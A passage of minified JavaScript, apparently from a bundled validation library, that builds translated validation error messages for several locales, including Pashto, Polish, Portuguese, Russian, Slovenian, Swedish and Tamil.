s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Fazla büyük: ${i.origin??&quot;value&quot;}, ${s}${i.maximum.toString()} ${o.unit??&quot;elements&quot;} sahip olmalıydı.`:`Fazla büyük: ${i.origin??&quot;value&quot;}, ${s}${i.maximum.toString()} olmalıydı.`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Fazla küçük: ${i.origin}, ${s}${i.minimum.toString()} ${o.unit} sahip olmalıydı.`:`Fazla küçük: ${i.origin}, ${s}${i.minimum.toString()} olmalıydı.`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Fâsit metin: &quot;${s.prefix}&quot; ile başlamalı.`:s.format===&quot;ends_with&quot;?`Fâsit metin: &quot;${s.suffix}&quot; ile bitmeli.`:s.format===&quot;includes&quot;?`Fâsit metin: &quot;${s.includes}&quot; ihtivâ etmeli.`:s.format===&quot;regex&quot;?`Fâsit metin: ${s.pattern} nakşına uymalı.`:`Fâsit ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Fâsit sayı: ${i.divisor} katı olmalıydı.`;case&quot;unrecognized_keys&quot;:return`Tanınmayan anahtar ${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} için tanınmayan anahtar var.`;case&quot;invalid_union&quot;:return&quot;Giren tanınamadı.&quot;;case&quot;invalid_element&quot;:return`${i.origin} için tanınmayan kıymet var.`;default:return&quot;Kıymet tanınamadı.&quot;}}};function sUe(){return{localeError:aUe()}}const oUe=()=&gt;{const e={string:{unit:&quot;توکي&quot;,verb:&quot;ولري&quot;},file:{unit:&quot;بایټس&quot;,verb:&quot;ولري&quot;},array:{unit:&quot;توکي&quot;,verb:&quot;ولري&quot;},set:{unit:&quot;توکي&quot;,verb:&quot;ولري&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;عدد&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;ارې&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ورودي&quot;,email:&quot;بریښنالیک&quot;,url:&quot;یو آر ال&quot;,emoji:&quot;ایموجي&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;نیټه او وخت&quot;,date:&quot;نېټه&quot;,time:&quot;وخت&quot;,duration:&quot;موده&quot;,ipv4:&quot;د IPv4 پته&quot;,ipv6:&quot;د IPv6 پته&quot;,cidrv4:&quot;د IPv4 ساحه&quot;,cidrv6:&quot;د IPv6 ساحه&quot;,base64:&quot;base64-encoded متن&quot;,base64url:&quot;base64url-encoded متن&quot;,json_string:&quot;JSON متن&quot;,e164:&quot;د E.164 شمېره&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;ورودي&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`ناسم ورودي: باید ${i.expected} وای, مګر ${r(i.input)} ترلاسه شو`;case&quot;invalid_value&quot;:return i.values.length===1?`ناسم ورودي: باید ${xn(i.values[0])} وای`:`ناسم انتخاب: باید یو له ${hr(i.values,&quot;|&quot;)} څخه وای`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`ډیر لوی: ${i.origin??&quot;ارزښت&quot;} باید ${s}${i.maximum.toString()} ${o.unit??&quot;عنصرونه&quot;} ولري`:`ډیر لوی: ${i.origin??&quot;ارزښت&quot;} باید ${s}${i.maximum.toString()} وي`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`ډیر کوچنی: ${i.origin} باید ${s}${i.minimum.toString()} ${o.unit} ولري`:`ډیر کوچنی: ${i.origin} باید ${s}${i.minimum.toString()} وي`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`ناسم متن: باید د &quot;${s.prefix}&quot; سره پیل شي`:s.format===&quot;ends_with&quot;?`ناسم متن: باید د &quot;${s.suffix}&quot; سره پای ته ورسيږي`:s.format===&quot;includes&quot;?`ناسم متن: باید &quot;${s.includes}&quot; ولري`:s.format===&quot;regex&quot;?`ناسم متن: باید د ${s.pattern} سره مطابقت ولري`:`${n[s.format]??i.format} ناسم دی`}case&quot;not_multiple_of&quot;:return`ناسم عدد: باید د ${i.divisor} مضرب وي`;case&quot;unrecognized_keys&quot;:return`ناسم ${i.keys.length&gt;1?&quot;کلیډونه&quot;:&quot;کلیډ&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`ناسم کلیډ په ${i.origin} کې`;case&quot;invalid_union&quot;:return&quot;ناسمه ورودي&quot;;case&quot;invalid_element&quot;:return`ناسم عنصر په ${i.origin} کې`;default:return&quot;ناسمه ورودي&quot;}}};function lUe(){return{localeError:oUe()}}const cUe=()=&gt;{const e={string:{unit:&quot;znaków&quot;,verb:&quot;mieć&quot;},file:{unit:&quot;bajtów&quot;,verb:&quot;mieć&quot;},array:{unit:&quot;elementów&quot;,verb:&quot;mieć&quot;},set:{unit:&quot;elementów&quot;,verb:&quot;mieć&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;liczba&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;tablica&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;wyrażenie&quot;,email:&quot;adres email&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;data i godzina w formacie ISO&quot;,date:&quot;data w formacie ISO&quot;,time:&quot;godzina w formacie ISO&quot;,duration:&quot;czas trwania ISO&quot;,ipv4:&quot;adres IPv4&quot;,ipv6:&quot;adres IPv6&quot;,cidrv4:&quot;zakres IPv4&quot;,cidrv6:&quot;zakres IPv6&quot;,base64:&quot;ciąg znaków zakodowany w formacie base64&quot;,base64url:&quot;ciąg znaków zakodowany w formacie base64url&quot;,json_string:&quot;ciąg znaków w formacie JSON&quot;,e164:&quot;liczba E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;wejście&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Nieprawidłowe dane wejściowe: oczekiwano ${i.expected}, otrzymano ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Nieprawidłowe dane wejściowe: oczekiwano ${xn(i.values[0])}`:`Nieprawidłowa opcja: oczekiwano jednej z wartości ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Za duża wartość: oczekiwano, że ${i.origin??&quot;wartość&quot;} będzie mieć ${s}${i.maximum.toString()} ${o.unit??&quot;elementów&quot;}`:`Zbyt duż(y/a/e): oczekiwano, że ${i.origin??&quot;wartość&quot;} będzie wynosić ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Za mała wartość: oczekiwano, że ${i.origin??&quot;wartość&quot;} będzie mieć ${s}${i.minimum.toString()} ${o.unit??&quot;elementów&quot;}`:`Zbyt mał(y/a/e): oczekiwano, że ${i.origin??&quot;wartość&quot;} będzie wynosić ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Nieprawidłowy ciąg znaków: musi zaczynać się od &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Nieprawidłowy ciąg znaków: musi kończyć się na &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Nieprawidłowy ciąg znaków: musi zawierać &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Nieprawidłowy ciąg znaków: musi odpowiadać wzorcowi ${s.pattern}`:`Nieprawidłow(y/a/e) ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Nieprawidłowa liczba: musi być wielokrotnością ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Nierozpoznane klucze${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Nieprawidłowy klucz w ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Nieprawidłowe dane wejściowe&quot;;case&quot;invalid_element&quot;:return`Nieprawidłowa wartość w ${i.origin}`;default:return&quot;Nieprawidłowe dane wejściowe&quot;}}};function uUe(){return{localeError:cUe()}}const dUe=()=&gt;{const e={string:{unit:&quot;caracteres&quot;,verb:&quot;ter&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;ter&quot;},array:{unit:&quot;itens&quot;,verb:&quot;ter&quot;},set:{unit:&quot;itens&quot;,verb:&quot;ter&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;número&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;nulo&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;padrão&quot;,email:&quot;endereço de e-mail&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;data e hora ISO&quot;,date:&quot;data ISO&quot;,time:&quot;hora ISO&quot;,duration:&quot;duração ISO&quot;,ipv4:&quot;endereço IPv4&quot;,ipv6:&quot;endereço IPv6&quot;,cidrv4:&quot;faixa de IPv4&quot;,cidrv6:&quot;faixa de IPv6&quot;,base64:&quot;texto codificado em base64&quot;,base64url:&quot;URL codificada em base64&quot;,json_string:&quot;texto JSON&quot;,e164:&quot;número E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;entrada&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Tipo inválido: esperado ${i.expected}, recebido ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Entrada inválida: esperado ${xn(i.values[0])}`:`Opção inválida: esperada uma das ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Muito grande: esperado que ${i.origin??&quot;valor&quot;} tivesse ${s}${i.maximum.toString()} ${o.unit??&quot;elementos&quot;}`:`Muito grande: esperado que ${i.origin??&quot;valor&quot;} fosse ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Muito pequeno: esperado que ${i.origin} tivesse ${s}${i.minimum.toString()} ${o.unit}`:`Muito pequeno: esperado que ${i.origin} fosse ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Texto inválido: deve começar com &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Texto inválido: deve terminar com &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Texto inválido: deve incluir &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Texto inválido: deve corresponder ao padrão ${s.pattern}`:`${n[s.format]??i.format} inválido`}case&quot;not_multiple_of&quot;:return`Número inválido: deve ser múltiplo de ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Chave${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;} desconhecida${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Chave inválida em ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Entrada inválida&quot;;case&quot;invalid_element&quot;:return`Valor inválido em ${i.origin}`;default:return&quot;Campo inválido&quot;}}};function fUe(){return{localeError:dUe()}}function ZF(e,t,r,n){const i=Math.abs(e),s=i%10,o=i%100;return o&gt;=11&amp;&amp;o&lt;=19?n:s===1?t:s&gt;=2&amp;&amp;s&lt;=4?r:n}const hUe=()=&gt;{const e={string:{unit:{one:&quot;символ&quot;,few:&quot;символа&quot;,many:&quot;символов&quot;},verb:&quot;иметь&quot;},file:{unit:{one:&quot;байт&quot;,few:&quot;байта&quot;,many:&quot;байт&quot;},verb:&quot;иметь&quot;},array:{unit:{one:&quot;элемент&quot;,few:&quot;элемента&quot;,many:&quot;элементов&quot;},verb:&quot;иметь&quot;},set:{unit:{one:&quot;элемент&quot;,few:&quot;элемента&quot;,many:&quot;элементов&quot;},verb:&quot;иметь&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;число&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;массив&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ввод&quot;,email:&quot;email адрес&quot;,url:&quot;URL&quot;,emoji:&quot;эмодзи&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO дата и время&quot;,date:&quot;ISO дата&quot;,time:&quot;ISO время&quot;,duration:&quot;ISO длительность&quot;,ipv4:&quot;IPv4 адрес&quot;,ipv6:&quot;IPv6 адрес&quot;,cidrv4:&quot;IPv4 диапазон&quot;,cidrv6:&quot;IPv6 диапазон&quot;,base64:&quot;строка в формате base64&quot;,base64url:&quot;строка в формате base64url&quot;,json_string:&quot;JSON строка&quot;,e164:&quot;номер E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;ввод&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Неверный ввод: ожидалось ${i.expected}, получено ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Неверный ввод: ожидалось ${xn(i.values[0])}`:`Неверный вариант: ожидалось одно из ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);if(o){const l=Number(i.maximum),c=ZF(l,o.unit.one,o.unit.few,o.unit.many);return`Слишком большое значение: ожидалось, что ${i.origin??&quot;значение&quot;} будет иметь ${s}${i.maximum.toString()} ${c}`}return`Слишком большое значение: ожидалось, что ${i.origin??&quot;значение&quot;} будет ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);if(o){const l=Number(i.minimum),c=ZF(l,o.unit.one,o.unit.few,o.unit.many);return`Слишком маленькое значение: ожидалось, что ${i.origin} будет иметь ${s}${i.minimum.toString()} ${c}`}return`Слишком маленькое значение: ожидалось, что ${i.origin} будет ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Неверная строка: должна начинаться с &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Неверная строка: должна заканчиваться на &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Неверная строка: должна содержать &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Неверная строка: должна соответствовать шаблону ${s.pattern}`:`Неверный ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Неверное число: должно быть кратным ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Нераспознанн${i.keys.length&gt;1?&quot;ые&quot;:&quot;ый&quot;} ключ${i.keys.length&gt;1?&quot;и&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Неверный ключ в ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Неверные входные данные&quot;;case&quot;invalid_element&quot;:return`Неверное значение в ${i.origin}`;default:return&quot;Неверные входные данные&quot;}}};function mUe(){return{localeError:hUe()}}const pUe=()=&gt;{const e={string:{unit:&quot;znakov&quot;,verb:&quot;imeti&quot;},file:{unit:&quot;bajtov&quot;,verb:&quot;imeti&quot;},array:{unit:&quot;elementov&quot;,verb:&quot;imeti&quot;},set:{unit:&quot;elementov&quot;,verb:&quot;imeti&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;število&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;tabela&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;vnos&quot;,email:&quot;e-poštni naslov&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO datum in čas&quot;,date:&quot;ISO datum&quot;,time:&quot;ISO čas&quot;,duration:&quot;ISO trajanje&quot;,ipv4:&quot;IPv4 naslov&quot;,ipv6:&quot;IPv6 naslov&quot;,cidrv4:&quot;obseg IPv4&quot;,cidrv6:&quot;obseg IPv6&quot;,base64:&quot;base64 kodiran niz&quot;,base64url:&quot;base64url kodiran niz&quot;,json_string:&quot;JSON niz&quot;,e164:&quot;E.164 številka&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;vnos&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Neveljaven vnos: pričakovano ${i.expected}, prejeto ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Neveljaven vnos: pričakovano ${xn(i.values[0])}`:`Neveljavna možnost: pričakovano eno izmed ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Preveliko: pričakovano, da bo ${i.origin??&quot;vrednost&quot;} imelo ${s}${i.maximum.toString()} ${o.unit??&quot;elementov&quot;}`:`Preveliko: pričakovano, da bo ${i.origin??&quot;vrednost&quot;} ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Premajhno: pričakovano, da bo ${i.origin} imelo ${s}${i.minimum.toString()} ${o.unit}`:`Premajhno: pričakovano, da bo ${i.origin} ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Neveljaven niz: mora se začeti z &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Neveljaven niz: mora se končati z &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Neveljaven niz: mora vsebovati &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Neveljaven niz: mora ustrezati vzorcu ${s.pattern}`:`Neveljaven ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Neveljavno število: mora biti večkratnik ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Neprepoznan${i.keys.length&gt;1?&quot;i ključi&quot;:&quot; ključ&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Neveljaven ključ v ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Neveljaven vnos&quot;;case&quot;invalid_element&quot;:return`Neveljavna vrednost v ${i.origin}`;default:return&quot;Neveljaven vnos&quot;}}};function gUe(){return{localeError:pUe()}}const AUe=()=&gt;{const e={string:{unit:&quot;tecken&quot;,verb:&quot;att ha&quot;},file:{unit:&quot;bytes&quot;,verb:&quot;att ha&quot;},array:{unit:&quot;objekt&quot;,verb:&quot;att innehålla&quot;},set:{unit:&quot;objekt&quot;,verb:&quot;att innehålla&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;antal&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;lista&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;reguljärt uttryck&quot;,email:&quot;e-postadress&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO-datum och tid&quot;,date:&quot;ISO-datum&quot;,time:&quot;ISO-tid&quot;,duration:&quot;ISO-varaktighet&quot;,ipv4:&quot;IPv4-intervall&quot;,ipv6:&quot;IPv6-intervall&quot;,cidrv4:&quot;IPv4-spektrum&quot;,cidrv6:&quot;IPv6-spektrum&quot;,base64:&quot;base64-kodad sträng&quot;,base64url:&quot;base64url-kodad sträng&quot;,json_string:&quot;JSON-sträng&quot;,e164:&quot;E.164-nummer&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;mall-literal&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Ogiltig inmatning: förväntat ${i.expected}, fick ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Ogiltig inmatning: förväntat ${xn(i.values[0])}`:`Ogiltigt val: förväntade en av ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`För stor(t): förväntade ${i.origin??&quot;värdet&quot;} att ha ${s}${i.maximum.toString()} ${o.unit??&quot;element&quot;}`:`För stor(t): förväntat ${i.origin??&quot;värdet&quot;} att ha ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`För lite(t): förväntade ${i.origin??&quot;värdet&quot;} att ha ${s}${i.minimum.toString()} ${o.unit}`:`För lite(t): förväntade ${i.origin??&quot;värdet&quot;} att ha ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Ogiltig sträng: måste börja med &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Ogiltig sträng: måste sluta med &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Ogiltig sträng: måste innehålla &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Ogiltig sträng: måste matcha mönstret &quot;${s.pattern}&quot;`:`Ogiltig(t) ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Ogiltigt tal: måste vara en multipel av ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`${i.keys.length&gt;1?&quot;Okända nycklar&quot;:&quot;Okänd nyckel&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Ogiltig nyckel i ${i.origin??&quot;värdet&quot;}`;case&quot;invalid_union&quot;:return&quot;Ogiltig input&quot;;case&quot;invalid_element&quot;:return`Ogiltigt värde i ${i.origin??&quot;värdet&quot;}`;default:return&quot;Ogiltig input&quot;}}};function xUe(){return{localeError:AUe()}}const vUe=()=&gt;{const e={string:{unit:&quot;எழுத்துக்கள்&quot;,verb:&quot;கொண்டிருக்க வேண்டும்&quot;},file:{unit:&quot;பைட்டுகள்&quot;,verb:&quot;கொண்டிருக்க வேண்டும்&quot;},array:{unit:&quot;உறுப்புகள்&quot;,verb:&quot;கொண்டிருக்க வேண்டும்&quot;},set:{unit:&quot;உறுப்புகள்&quot;,verb:&quot;கொண்டிருக்க வேண்டும்&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;எண் அல்லாதது&quot;:&quot;எண்&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;அணி&quot;;if(i===null)return&quot;வெறுமை&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;உள்ளீடு&quot;,email:&quot;மின்னஞ்சல் முகவரி&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO தேதி நேரம்&quot;,date:&quot;ISO தேதி&quot;,time:&quot;ISO நேரம்&quot;,duration:&quot;ISO கால அளவு&quot;,ipv4:&quot;IPv4 முகவரி&quot;,ipv6:&quot;IPv6 முகவரி&quot;,cidrv4:&quot;IPv4 வரம்பு&quot;,cidrv6:&quot;IPv6 வரம்பு&quot;,base64:&quot;base64-encoded சரம்&quot;,base64url:&quot;base64url-encoded சரம்&quot;,json_string:&quot;JSON சரம்&quot;,e164:&quot;E.164 எண்&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`தவறான உள்ளீடு: எதிர்பார்க்கப்பட்டது ${i.expected}, பெறப்பட்டது ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`தவறான உள்ளீடு: எதிர்பார்க்கப்பட்டது ${xn(i.values[0])}`:`தவறான விருப்பம்: எதிர்பார்க்கப்பட்டது ${hr(i.values,&quot;|&quot;)} இல் ஒன்று`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`மிக பெரியது: எதிர்பார்க்கப்பட்டது ${i.origin??&quot;மதிப்பு&quot;} ${s}${i.maximum.toString()} ${o.unit??&quot;உறுப்புகள்&quot;} ஆக இருக்க வேண்டும்`:`மிக பெரியது: எதிர்பார்க்கப்பட்டது ${i.origin??&quot;மதிப்பு&quot;} ${s}${i.maximum.toString()} ஆக இருக்க வேண்டும்`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`மிகச் சிறியது: எதிர்பார்க்கப்பட்டது ${i.origin} ${s}${i.minimum.toString()} ${o.unit} ஆக இருக்க வேண்டும்`:`மிகச் சிறியது: எதிர்பார்க்கப்பட்டது ${i.origin} ${s}${i.minimum.toString()} ஆக இருக்க வேண்டும்`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`தவறான சரம்: &quot;${s.prefix}&quot; இல் தொடங்க வேண்டும்`:s.format===&quot;ends_with&quot;?`தவறான சரம்: &quot;${s.suffix}&quot; இல் முடிவடைய வேண்டும்`:s.format===&quot;includes&quot;?`தவறான சரம்: &quot;${s.includes}&quot; ஐ உள்ளடக்க வேண்டும்`:s.format===&quot;regex&quot;?`தவறான சரம்: ${s.pattern} முறைபாட்டுடன் பொருந்த வேண்டும்`:`தவறான ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`தவறான எண்: ${i.divisor} இன் பலமாக இருக்க வேண்டும்`;case&quot;unrecognized_keys&quot;:return`அடையாளம் தெரியாத விசை${i.keys.length&gt;1?&quot;கள்&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`${i.origin} இல் தவறான விசை`;case&quot;invalid_union&quot;:return&quot;தவறான உள்ளீடு&quot;;case&quot;invalid_element&quot;:return`${i.origin} இல் தவறான மதிப்பு`;default:return&quot;தவறான உள்ளீடு&quot;}}};function yUe(){return{localeError:vUe()}}const bUe=()=&gt;{const 